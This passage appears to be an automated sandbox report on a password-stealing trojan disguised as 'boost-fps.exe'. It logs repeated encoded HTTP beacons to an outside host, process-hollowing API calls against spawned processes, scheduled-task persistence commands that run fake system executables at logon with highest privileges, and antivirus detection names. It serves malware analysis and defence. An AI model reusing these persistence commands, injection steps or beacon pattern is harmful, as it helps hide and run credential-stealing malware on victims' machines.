4COwIjL1cTMiojIwlmI7pjIvZmbJBXSiwiIyIDdzVGdiojIl1WYOJXZzVlIsIyQQ1iMyQ1UFRlI6ISZtFmTDBlIsICNuAjL0IiOiIXZWJXZ2JXZTJCLiMyQiojIlBXeUJXZ2JXZTJye&be0a06ae2eae18ab30d73f2131cab791=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&ccce7aa2c00c6d06441f07b35eb3b7d8=gNwIGZyEWYhNGNyQzYkFjZkBzN1MjZjljMxITNkRmNhFjN5UWYhNjZ HTTP/1.1 Accept: */* Content-Type: text/javascript User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Host: cc58476.tmweb.ru
socket: 1188
sent: 1453
1 1453 0

send

 buffer: GET /vmPacketGeneratoruniversalTrack.php?Gou94aa9EjMqWeOdgEN=A88sa3&4c9e481a6e2df54faf98863307c8505a=QY2MjYmVTM0YDZ2QmMlR2M1QWM4IGN2EWY0MDZxkjYwUDZkBDOjhjYyQTNwYzM3AjM0IjM1kDO&3074739814e1bc1bd77f06eb291cb8b2=ANxYmZ0ETN3QzNhZ2MzQWZkRjM2UGOzU2N5I2YyEDZmNjZ0YjZ1kDZ&1527e96e778981f3166c4de9ee18b563=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&b9a703661957fd9398026d0825d1bb0e=wYhRjY4cjZ0M2M0IGO2EGMycTN1QDMiVWZiNDZ1YzMlV2N0U2N0MjZ&395456b66fc45ba775af61ef30811cd1=QfiIXZnFmbh1EItFmcn9mcQJiOic3bk5WaXR1QBJCLiklI6Iibp1GZBNXaiwiIOJiOi0WYjJWZXNXaiwiIZJiOiUmbvhGcvJ3Yp10cpJCLiQFUJJ1QgcVROByUEFkI6IyRBRlIsICdpJEI0YDIOtEIsFmbvl2czVmZvJHUgcDIzd3bk5WaXJiOiIXZW5WaXJCL9JCa0VXYn5WazNXat9CXvlmLvZmbpBXavw1LcpzcwRHdoJiOiUWbkFWZyJCLiwWdvV2UvwVYpNXQiojIl52b6VWbpRnIsIiN4EzMwIiOiwWY0N3bwJCLi02bjVGblRFIhVmcvtEI2YzN0MVQiojInJ3biwiI0gzN54iNyEDLwYjN14yNzIiOiM2bsJCLiI1SiojI5JHduV3bjJCLiwWdvV2UiojIu9WanVmciwiIsV3blNlI6ISe0l2YiwiIwUTMuQzMx4COwIjL1cTMiojIwlmI7pjIvZmbJBXSiwiIyIDdzVGdiojIl1WYOJXZzVlIsIyQQ1iMyQ1UFRlI6ISZtFmTDBlIsICNuAjL0IiOiIXZWJXZ2JXZTJCLiMyQiojIlBXeUJXZ2JXZTJye&be0a06ae2eae18ab30d73f2131cab791=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&ccce7aa2c00c6d06441f07b35eb3b7d8=gNwIGZyEWYhNGNyQzYkFjZkBzN1MjZjljMxITNkRmNhFjN5UWYhNjZ HTTP/1.1 Accept: */* Content-Type: text/javascript User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Host: cc58476.tmweb.ru
socket: 1188
sent: 1453
1 1453 0

send

 buffer: GET /vmPacketGeneratoruniversalTrack.php?Gou94aa9EjMqWeOdgEN=A88sa3&4c9e481a6e2df54faf98863307c8505a=QY2MjYmVTM0YDZ2QmMlR2M1QWM4IGN2EWY0MDZxkjYwUDZkBDOjhjYyQTNwYzM3AjM0IjM1kDO&3074739814e1bc1bd77f06eb291cb8b2=ANxYmZ0ETN3QzNhZ2MzQWZkRjM2UGOzU2N5I2YyEDZmNjZ0YjZ1kDZ&1527e96e778981f3166c4de9ee18b563=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&b9a703661957fd9398026d0825d1bb0e=wYhRjY4cjZ0M2M0IGO2EGMycTN1QDMiVWZiNDZ1YzMlV2N0U2N0MjZ&395456b66fc45ba775af61ef30811cd1=QfiIXZnFmbh1EItFmcn9mcQJiOic3bk5WaXR1QBJCLiklI6Iibp1GZBNXaiwiIOJiOi0WYjJWZXNXaiwiIZJiOiUmbvhGcvJ3Yp10cpJCLiQFUJJ1QgcVROByUEFkI6IyRBRlIsICdpJEI0YDIOtEIsFmbvl2czVmZvJHUgcDIzd3bk5WaXJiOiIXZW5WaXJCL9JCa0VXYn5WazNXat9CXvlmLvZmbpBXavw1LcpzcwRHdoJiOiUWbkFWZyJCLiwWdvV2UvwVYpNXQiojIl52b6VWbpRnIsIiN4EzMwIiOiwWY0N3bwJCLi02bjVGblRFIhVmcvtEI2YzN0MVQiojInJ3biwiI0gzN54iNyEDLwYjN14yNzIiOiM2bsJCLiI1SiojI5JHduV3bjJCLiwWdvV2UiojIu9WanVmciwiIsV3blNlI6ISe0l2YiwiIwUTMuQzMx4COwIjL1cTMiojIwlmI7pjIvZmbJBXSiwiIyIDdzVGdiojIl1WYOJXZzVlIsIyQQ1iMyQ1UFRlI6ISZtFmTDBlIsICNuAjL0IiOiIXZWJXZ2JXZTJCLiMyQiojIlBXeUJXZ2JXZTJye&be0a06ae2eae18ab30d73f2131cab791=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&ccce7aa2c00c6d06441f07b35eb3b7d8=gNwIGZyEWYhNGNyQzYkFjZkBzN1MjZjljMxITNkRmNhFjN5UWYhNjZ HTTP/1.1 Accept: */* Content-Type: text/javascript User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Host: cc58476.tmweb.ru
socket: 1188
sent: 1453
1 1453 0

send

 buffer: GET /vmPacketGeneratoruniversalTrack.php?Gou94aa9EjMqWeOdgEN=A88sa3&4c9e481a6e2df54faf98863307c8505a=QY2MjYmVTM0YDZ2QmMlR2M1QWM4IGN2EWY0MDZxkjYwUDZkBDOjhjYyQTNwYzM3AjM0IjM1kDO&3074739814e1bc1bd77f06eb291cb8b2=ANxYmZ0ETN3QzNhZ2MzQWZkRjM2UGOzU2N5I2YyEDZmNjZ0YjZ1kDZ&1527e96e778981f3166c4de9ee18b563=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&b9a703661957fd9398026d0825d1bb0e=wYhRjY4cjZ0M2M0IGO2EGMycTN1QDMiVWZiNDZ1YzMlV2N0U2N0MjZ&395456b66fc45ba775af61ef30811cd1=QfiIXZnFmbh1EItFmcn9mcQJiOic3bk5WaXR1QBJCLiklI6Iibp1GZBNXaiwiIOJiOi0WYjJWZXNXaiwiIZJiOiUmbvhGcvJ3Yp10cpJCLiQFUJJ1QgcVROByUEFkI6IyRBRlIsICdpJEI0YDIOtEIsFmbvl2czVmZvJHUgcDIzd3bk5WaXJiOiIXZW5WaXJCL9JCa0VXYn5WazNXat9CXvlmLvZmbpBXavw1LcpzcwRHdoJiOiUWbkFWZyJCLiwWdvV2UvwVYpNXQiojIl52b6VWbpRnIsIiN4EzMwIiOiwWY0N3bwJCLi02bjVGblRFIhVmcvtEI2YzN0MVQiojInJ3biwiI0gzN54iNyEDLwYjN14yNzIiOiM2bsJCLiI1SiojI5JHduV3bjJCLiwWdvV2UiojIu9WanVmciwiIsV3blNlI6ISe0l2YiwiIwUTMuQzMx4COwIjL1cTMiojIwlmI7pjIvZmbJBXSiwiIyIDdzVGdiojIl1WYOJXZzVlIsIyQQ1iMyQ1UFRlI6ISZtFmTDBlIsICNuAjL0IiOiIXZWJXZ2JXZTJCLiMyQiojIlBXeUJXZ2JXZTJye&be0a06ae2eae18ab30d73f2131cab791=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&ccce7aa2c00c6d06441f07b35eb3b7d8=gNwIGZyEWYhNGNyQzYkFjZkBzN1MjZjljMxITNkRmNhFjN5UWYhNjZ HTTP/1.1 Accept: */* Content-Type: text/javascript User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Host: cc58476.tmweb.ru
socket: 1188
sent: 1453
1 1453 0

send

 buffer: GET /vmPacketGeneratoruniversalTrack.php?Gou94aa9EjMqWeOdgEN=A88sa3&4c9e481a6e2df54faf98863307c8505a=QY2MjYmVTM0YDZ2QmMlR2M1QWM4IGN2EWY0MDZxkjYwUDZkBDOjhjYyQTNwYzM3AjM0IjM1kDO&3074739814e1bc1bd77f06eb291cb8b2=ANxYmZ0ETN3QzNhZ2MzQWZkRjM2UGOzU2N5I2YyEDZmNjZ0YjZ1kDZ&1527e96e778981f3166c4de9ee18b563=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&b9a703661957fd9398026d0825d1bb0e=wYhRjY4cjZ0M2M0IGO2EGMycTN1QDMiVWZiNDZ1YzMlV2N0U2N0MjZ&395456b66fc45ba775af61ef30811cd1=QfiIXZnFmbh1EItFmcn9mcQJiOic3bk5WaXR1QBJCLiklI6Iibp1GZBNXaiwiIOJiOi0WYjJWZXNXaiwiIZJiOiUmbvhGcvJ3Yp10cpJCLiQFUJJ1QgcVROByUEFkI6IyRBRlIsICdpJEI0YDIOtEIsFmbvl2czVmZvJHUgcDIzd3bk5WaXJiOiIXZW5WaXJCL9JCa0VXYn5WazNXat9CXvlmLvZmbpBXavw1LcpzcwRHdoJiOiUWbkFWZyJCLiwWdvV2UvwVYpNXQiojIl52b6VWbpRnIsIiN4EzMwIiOiwWY0N3bwJCLi02bjVGblRFIhVmcvtEI2YzN0MVQiojInJ3biwiI0gzN54iNyEDLwYjN14yNzIiOiM2bsJCLiI1SiojI5JHduV3bjJCLiwWdvV2UiojIu9WanVmciwiIsV3blNlI6ISe0l2YiwiIwUTMuQzMx4COwIjL1cTMiojIwlmI7pjIvZmbJBXSiwiIyIDdzVGdiojIl1WYOJXZzVlIsIyQQ1iMyQ1UFRlI6ISZtFmTDBlIsICNuAjL0IiOiIXZWJXZ2JXZTJCLiMyQiojIlBXeUJXZ2JXZTJye&be0a06ae2eae18ab30d73f2131cab791=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&ccce7aa2c00c6d06441f07b35eb3b7d8=gNwIGZyEWYhNGNyQzYkFjZkBzN1MjZjljMxITNkRmNhFjN5UWYhNjZ HTTP/1.1 Accept: */* Content-Type: text/javascript User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Host: cc58476.tmweb.ru
socket: 1188
sent: 1453
1 1453 0

send

 buffer: GET /vmPacketGeneratoruniversalTrack.php?Gou94aa9EjMqWeOdgEN=A88sa3&4c9e481a6e2df54faf98863307c8505a=QY2MjYmVTM0YDZ2QmMlR2M1QWM4IGN2EWY0MDZxkjYwUDZkBDOjhjYyQTNwYzM3AjM0IjM1kDO&3074739814e1bc1bd77f06eb291cb8b2=ANxYmZ0ETN3QzNhZ2MzQWZkRjM2UGOzU2N5I2YyEDZmNjZ0YjZ1kDZ&1527e96e778981f3166c4de9ee18b563=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&b9a703661957fd9398026d0825d1bb0e=wYhRjY4cjZ0M2M0IGO2EGMycTN1QDMiVWZiNDZ1YzMlV2N0U2N0MjZ&395456b66fc45ba775af61ef30811cd1=QfiIXZnFmbh1EItFmcn9mcQJiOic3bk5WaXR1QBJCLiklI6Iibp1GZBNXaiwiIOJiOi0WYjJWZXNXaiwiIZJiOiUmbvhGcvJ3Yp10cpJCLiQFUJJ1QgcVROByUEFkI6IyRBRlIsICdpJEI0YDIOtEIsFmbvl2czVmZvJHUgcDIzd3bk5WaXJiOiIXZW5WaXJCL9JCa0VXYn5WazNXat9CXvlmLvZmbpBXavw1LcpzcwRHdoJiOiUWbkFWZyJCLiwWdvV2UvwVYpNXQiojIl52b6VWbpRnIsIiN4EzMwIiOiwWY0N3bwJCLi02bjVGblRFIhVmcvtEI2YzN0MVQiojInJ3biwiI0gzN54iNyEDLwYjN14yNzIiOiM2bsJCLiI1SiojI5JHduV3bjJCLiwWdvV2UiojIu9WanVmciwiIsV3blNlI6ISe0l2YiwiIwUTMuQzMx4COwIjL1cTMiojIwlmI7pjIvZmbJBXSiwiIyIDdzVGdiojIl1WYOJXZzVlIsIyQQ1iMyQ1UFRlI6ISZtFmTDBlIsICNuAjL0IiOiIXZWJXZ2JXZTJCLiMyQiojIlBXeUJXZ2JXZTJye&be0a06ae2eae18ab30d73f2131cab791=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&ccce7aa2c00c6d06441f07b35eb3b7d8=gNwIGZyEWYhNGNyQzYkFjZkBzN1MjZjljMxITNkRmNhFjN5UWYhNjZ HTTP/1.1 Accept: */* Content-Type: text/javascript User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Host: cc58476.tmweb.ru
socket: 1188
sent: 1453
1 1453 0
Time & API Arguments Status Return Repeated

WriteProcessMemory

 buffer: MZÿÿ¸@€º´ Í!¸LÍ!This program cannot be run in DOS mode. $PEL-S^`à" <î[ `@  lP`…”[W`€  H.textô; < `.rsrc`>@@.reloc €B@B
base_address: 0x00400000
process_identifier: 1632
process_handle: 0x0000027c
1 1 0

WriteProcessMemory

 buffer: €0€HX`ÄÄ4VS_VERSION_INFO½ïþ?$StringFileInfo000004B0Comments$CompanyName,FileDescription0FileVersion1.0.0.00InternalNamePi.exe(LegalCopyright,LegalTrademarks8OriginalFilenamePi.exe$ProductName4ProductVersion1.0.0.08Assembly Version1.0.0.0DVarFileInfo$Translation°
base_address: 0x00466000
process_identifier: 1632
process_handle: 0x0000027c
1 1 0

WriteProcessMemory

 buffer: P ð;
base_address: 0x00468000
process_identifier: 1632
process_handle: 0x0000027c
1 1 0

WriteProcessMemory

 buffer: @
base_address: 0x7efde008
process_identifier: 1632
process_handle: 0x0000027c
1 1 0

WriteProcessMemory

 buffer: MZÿÿ¸@€º´ Í!¸LÍ!This program cannot be run in DOS mode. $PEL-S^`à" <î[ `@  lP`…”[W`€  H.textô; < `.rsrc`>@@.reloc €B@B
base_address: 0x00400000
process_identifier: 1556
process_handle: 0x00000270
1 1 0

WriteProcessMemory

 buffer: €0€HX`ÄÄ4VS_VERSION_INFO½ïþ?$StringFileInfo000004B0Comments$CompanyName,FileDescription0FileVersion1.0.0.00InternalNamePi.exe(LegalCopyright,LegalTrademarks8OriginalFilenamePi.exe$ProductName4ProductVersion1.0.0.08Assembly Version1.0.0.0DVarFileInfo$Translation°
base_address: 0x00466000
process_identifier: 1556
process_handle: 0x00000270
1 1 0

WriteProcessMemory

 buffer: P ð;
base_address: 0x00468000
process_identifier: 1556
process_handle: 0x00000270
1 1 0

WriteProcessMemory

 buffer: @
base_address: 0x7efde008
process_identifier: 1556
process_handle: 0x00000270
1 1 0
Time & API Arguments Status Return Repeated

WriteProcessMemory

 buffer: MZÿÿ¸@€º´ Í!¸LÍ!This program cannot be run in DOS mode. $PEL-S^`à" <î[ `@  lP`…”[W`€  H.textô; < `.rsrc`>@@.reloc €B@B
base_address: 0x00400000
process_identifier: 1632
process_handle: 0x0000027c
1 1 0

WriteProcessMemory

 buffer: MZÿÿ¸@€º´ Í!¸LÍ!This program cannot be run in DOS mode. $PEL-S^`à" <î[ `@  lP`…”[W`€  H.textô; < `.rsrc`>@@.reloc €B@B
base_address: 0x00400000
process_identifier: 1556
process_handle: 0x00000270
1 1 0
Process injection Process 2232 called NtSetContextThread to modify thread in remote process 1632
Process injection Process 192 called NtSetContextThread to modify thread in remote process 1556
Time & API Arguments Status Return Repeated

NtSetContextThread

 registers.eip: 0
registers.esp: 0
registers.edi: 0
registers.eax: 4611054
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
thread_handle: 0x00000278
process_identifier: 1632
1 0 0

NtSetContextThread

 registers.eip: 0
registers.esp: 0
registers.edi: 0
registers.eax: 4611054
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
thread_handle: 0x0000026c
process_identifier: 1556
1 0 0
file C:\Windows\winhlp32\KMService.exe:Zone.Identifier
file C:\Program Files (x86)\Microsoft Visual Studio 8\conhost.exe:Zone.Identifier
file C:\Windows\System32\mciqtz32\sppsvc.exe:Zone.Identifier
file C:\Windows\System32\instnm\taskhost.exe:Zone.Identifier
file C:\Windows\System32\dpx\services.exe:Zone.Identifier
Process injection Process 2232 resumed a thread in remote process 1632
Process injection Process 192 resumed a thread in remote process 1556
Time & API Arguments Status Return Repeated

NtResumeThread

 thread_handle: 0x00000278
suspend_count: 1
process_identifier: 1632
1 0 0

NtResumeThread

 thread_handle: 0x0000026c
suspend_count: 1
process_identifier: 1556
1 0 0
Time & API Arguments Status Return Repeated

CreateProcessInternalW

 thread_identifier: 2672
thread_handle: 0x0000026c
process_identifier: 1556
current_directory:
filepath: C:\Windows\SysWOW64\dpx\services.exe
track: 1
command_line: "{path}"
filepath_r: C:\Windows\SysWOW64\dpx\services.exe
stack_pivoted: 0
creation_flags: 4 (CREATE_SUSPENDED)
inherit_handles: 0
process_handle: 0x00000270
1 1 0
Elastic malicious (high confidence)
FireEye Generic.mg.92fc1129af30ba08
Qihoo-360 Win32/TrojanSpy.Generic.HgIASR4A
Cylance Unsafe
Cybereason malicious.46a78d
Symantec ML.Attribute.HighConfidence
ESET-NOD32 a variant of MSIL/Kryptik.AAEP
APEX Malicious
Avast Win32:MalwareX-gen [Trj]
Cynet Malicious (score: 100)
Kaspersky HEUR:Trojan-Spy.MSIL.Stealer.gen
Paloalto generic.ml
DrWeb Trojan.PWS.Stealer.30110
McAfee-GW-Edition Artemis!Trojan
Microsoft Trojan:Win32/Sehyioa.A!cl
ZoneAlarm HEUR:Trojan-Spy.MSIL.Stealer.gen
McAfee PWS-FCXP!92FC1129AF30
MAX malware (ai score=99)
Malwarebytes Malware.AI.539684289
Rising Spyware.Stealer!8.3090 (CLOUD)
Fortinet MSIL/GenKryptik.FDJX!tr
BitDefenderTheta Gen:NN.ZemsilF.34662.vn2@a0YStFdG
AVG Win32:MalwareX-gen [Trj]
CrowdStrike win/malicious_confidence_100% (W)
Time & API Arguments Status Return Repeated

NtResumeThread

 thread_handle: 0x000000dc
suspend_count: 1
process_identifier: 2232
1 0 0

NtResumeThread

 thread_handle: 0x00000150
suspend_count: 1
process_identifier: 2232
1 0 0

NtResumeThread

 thread_handle: 0x00000184
suspend_count: 1
process_identifier: 2232
1 0 0

NtResumeThread

 thread_handle: 0x00000268
suspend_count: 1
process_identifier: 2232
1 0 0

NtGetContextThread

 thread_handle: 0x000000e4
1 0 0

NtGetContextThread

 thread_handle: 0x000000e4
1 0 0

NtResumeThread

 thread_handle: 0x000000e4
suspend_count: 1
process_identifier: 2232
1 0 0

CreateProcessInternalW

 thread_identifier: 2840
thread_handle: 0x00000278
process_identifier: 1632
current_directory:
filepath: C:\Users\test22\AppData\Local\Temp\boost-fps.exe
track: 1
command_line: "{path}"
filepath_r: C:\Users\test22\AppData\Local\Temp\boost-fps.exe
stack_pivoted: 0
creation_flags: 4 (CREATE_SUSPENDED)
inherit_handles: 0
process_handle: 0x0000027c
1 1 0

NtGetContextThread

 thread_handle: 0x00000278
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1632
region_size: 434176
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x0000027c
1 0 0

WriteProcessMemory

 buffer: MZÿÿ¸@€º´ Í!¸LÍ!This program cannot be run in DOS mode. $PEL-S^`à" <î[ `@  lP`…”[W`€  H.textô; < `.rsrc`>@@.reloc €B@B
base_address: 0x00400000
process_identifier: 1632
process_handle: 0x0000027c
1 1 0

WriteProcessMemory

 buffer:
base_address: 0x00402000
process_identifier: 1632
process_handle: 0x0000027c
1 1 0

WriteProcessMemory

 buffer: €0€HX`ÄÄ4VS_VERSION_INFO½ïþ?$StringFileInfo000004B0Comments$CompanyName,FileDescription0FileVersion1.0.0.00InternalNamePi.exe(LegalCopyright,LegalTrademarks8OriginalFilenamePi.exe$ProductName4ProductVersion1.0.0.08Assembly Version1.0.0.0DVarFileInfo$Translation°
base_address: 0x00466000
process_identifier: 1632
process_handle: 0x0000027c
1 1 0

WriteProcessMemory

 buffer: P ð;
base_address: 0x00468000
process_identifier: 1632
process_handle: 0x0000027c
1 1 0

WriteProcessMemory

 buffer: @
base_address: 0x7efde008
process_identifier: 1632
process_handle: 0x0000027c
1 1 0

NtSetContextThread

 registers.eip: 0
registers.esp: 0
registers.edi: 0
registers.eax: 4611054
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
thread_handle: 0x00000278
process_identifier: 1632
1 0 0

NtResumeThread

 thread_handle: 0x00000278
suspend_count: 1
process_identifier: 1632
1 0 0

NtResumeThread

 thread_handle: 0x000000dc
suspend_count: 1
process_identifier: 1632
1 0 0

NtResumeThread

 thread_handle: 0x00000150
suspend_count: 1
process_identifier: 1632
1 0 0

NtResumeThread

 thread_handle: 0x00000198
suspend_count: 1
process_identifier: 1632
1 0 0

NtResumeThread

 thread_handle: 0x00000220
suspend_count: 1
process_identifier: 1632
1 0 0

NtResumeThread

 thread_handle: 0x00000284
suspend_count: 1
process_identifier: 1632
1 0 0

NtResumeThread

 thread_handle: 0x000002f4
suspend_count: 1
process_identifier: 1632
1 0 0

NtResumeThread

 thread_handle: 0x00000310
suspend_count: 1
process_identifier: 1632
1 0 0

CreateProcessInternalW

 thread_identifier: 604
thread_handle: 0x0000038c
process_identifier: 2248
current_directory: C:\Users\test22\AppData\Local\Temp
filepath:
track: 1
command_line: "schtasks" /create /tn "sppsvc" /sc ONLOGON /tr "'C:\Windows\System32\mciqtz32\sppsvc.exe'" /rl HIGHEST /f
filepath_r:
stack_pivoted: 0
creation_flags: 134217728 (CREATE_NO_WINDOW)
inherit_handles: 1
process_handle: 0x00000394
1 1 0

CreateProcessInternalW

 thread_identifier: 3024
thread_handle: 0x0000039c
process_identifier: 2388
current_directory: C:\Users\test22\AppData\Local\Temp
filepath:
track: 1
command_line: "schtasks" /create /tn "KMService" /sc ONLOGON /tr "'C:\Windows\winhlp32\KMService.exe'" /rl HIGHEST /f
filepath_r:
stack_pivoted: 0
creation_flags: 134217728 (CREATE_NO_WINDOW)
inherit_handles: 1
process_handle: 0x000003a0
1 1 0

CreateProcessInternalW

 thread_identifier: 2236
thread_handle: 0x000003a4
process_identifier: 2252
current_directory: C:\Users\test22\AppData\Local\Temp
filepath:
track: 1
command_line: "schtasks" /create /tn "taskhost" /sc ONLOGON /tr "'C:\Windows\System32\instnm\taskhost.exe'" /rl HIGHEST /f
filepath_r:
stack_pivoted: 0
creation_flags: 134217728 (CREATE_NO_WINDOW)
inherit_handles: 1
process_handle: 0x000003b0
1 1 0

CreateProcessInternalW

 thread_identifier: 2260
thread_handle: 0x000003a4
process_identifier: 2428
current_directory: C:\Users\test22\AppData\Local\Temp
filepath:
track: 1
command_line: "schtasks" /create /tn "conhost" /sc ONLOGON /tr "'C:\Program Files (x86)\Microsoft Visual Studio 8\conhost.exe'" /rl HIGHEST /f
filepath_r:
stack_pivoted: 0
creation_flags: 134217728 (CREATE_NO_WINDOW)
inherit_handles: 1
process_handle: 0x000003b4
1 1 0

CreateProcessInternalW

 thread_identifier: 2852
thread_handle: 0x000003c0
process_identifier: 3016
current_directory: C:\Users\test22\AppData\Local\Temp
filepath:
track: 1
command_line: "schtasks" /create /tn "services" /sc ONLOGON /tr "'C:\Windows\System32\dpx\services.exe'" /rl HIGHEST /f
filepath_r:
stack_pivoted: 0
creation_flags: 134217728 (CREATE_NO_WINDOW)
inherit_handles: 1
process_handle: 0x000003c4
1 1 0

CreateProcessInternalW

 thread_identifier: 1188
thread_handle: 0x000003c0
process_identifier: 192
current_directory: C:\Users\test22\AppData\Local\Temp
filepath:
track: 1
command_line: "C:\Windows\System32\dpx\services.exe"
filepath_r:
stack_pivoted: 0
creation_flags: 134217728 (CREATE_NO_WINDOW)
inherit_handles: 1
process_handle: 0x000003cc
1 1 0

NtResumeThread

 thread_handle: 0x000000e0
suspend_count: 1
process_identifier: 192
1 0 0

NtResumeThread

 thread_handle: 0x00000154
suspend_count: 1
process_identifier: 192
1 0 0

NtResumeThread

 thread_handle: 0x00000198
suspend_count: 1
process_identifier: 192
1 0 0

NtResumeThread

 thread_handle: 0x0000025c
suspend_count: 1
process_identifier: 192
1 0 0

CreateProcessInternalW

 thread_identifier: 2672
thread_handle: 0x0000026c
process_identifier: 1556
current_directory:
filepath: C:\Windows\SysWOW64\dpx\services.exe
track: 1
command_line: "{path}"
filepath_r: C:\Windows\SysWOW64\dpx\services.exe
stack_pivoted: 0
creation_flags: 4 (CREATE_SUSPENDED)
inherit_handles: 0
process_handle: 0x00000270
1 1 0

NtGetContextThread

 thread_handle: 0x0000026c
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1556
region_size: 434176
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000270
1 0 0

WriteProcessMemory

 buffer: MZÿÿ¸@€º´ Í!¸LÍ!This program cannot be run in DOS mode. $PEL-S^`à" <î[ `@  lP`…”[W`€  H.textô; < `.rsrc`>@@.reloc €B@B
base_address: 0x00400000
process_identifier: 1556
process_handle: 0x00000270
1 1 0

WriteProcessMemory

 buffer:
base_address: 0x00402000
process_identifier: 1556
process_handle: 0x00000270
1 1 0

WriteProcessMemory

 buffer: €0€HX`ÄÄ4VS_VERSION_INFO½ïþ?$StringFileInfo000004B0Comments$CompanyName,FileDescription0FileVersion1.0.0.00InternalNamePi.exe(LegalCopyright,LegalTrademarks8OriginalFilenamePi.exe$ProductName4ProductVersion1.0.0.08Assembly Version1.0.0.0DVarFileInfo$Translation°
base_address: 0x00466000
process_identifier: 1556
process_handle: 0x00000270
1 1 0

WriteProcessMemory

 buffer: P ð;
base_address: 0x00468000
process_identifier: 1556
process_handle: 0x00000270
1 1 0

WriteProcessMemory

 buffer: @
base_address: 0x7efde008
process_identifier: 1556
process_handle: 0x00000270
1 1 0

NtSetContextThread

 registers.eip: 0
registers.esp: 0
registers.edi: 0
registers.eax: 4611054
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
thread_handle: 0x0000026c
process_identifier: 1556
1 0 0

NtResumeThread

 thread_handle: 0x0000026c
suspend_count: 1
process_identifier: 1556
1 0 0

NtResumeThread

 thread_handle: 0x000000dc
suspend_count: 1
process_identifier: 1556
1 0 0

NtResumeThread

 thread_handle: 0x00000154
suspend_count: 1
process_identifier: 1556
1 0 0

NtResumeThread

 thread_handle: 0x00000198
suspend_count: 1
process_identifier: 1556
1 0 0

NtResumeThread

 thread_handle: 0x00000218
suspend_count: 1
process_identifier: 1556
1 0 0

NtResumeThread

 thread_handle: 0x0000027c
suspend_count: 1
process_identifier: 1556
1 0 0

NtResumeThread

 thread_handle: 0x000002ec
suspend_count: 1
process_identifier: 1556
1 0 0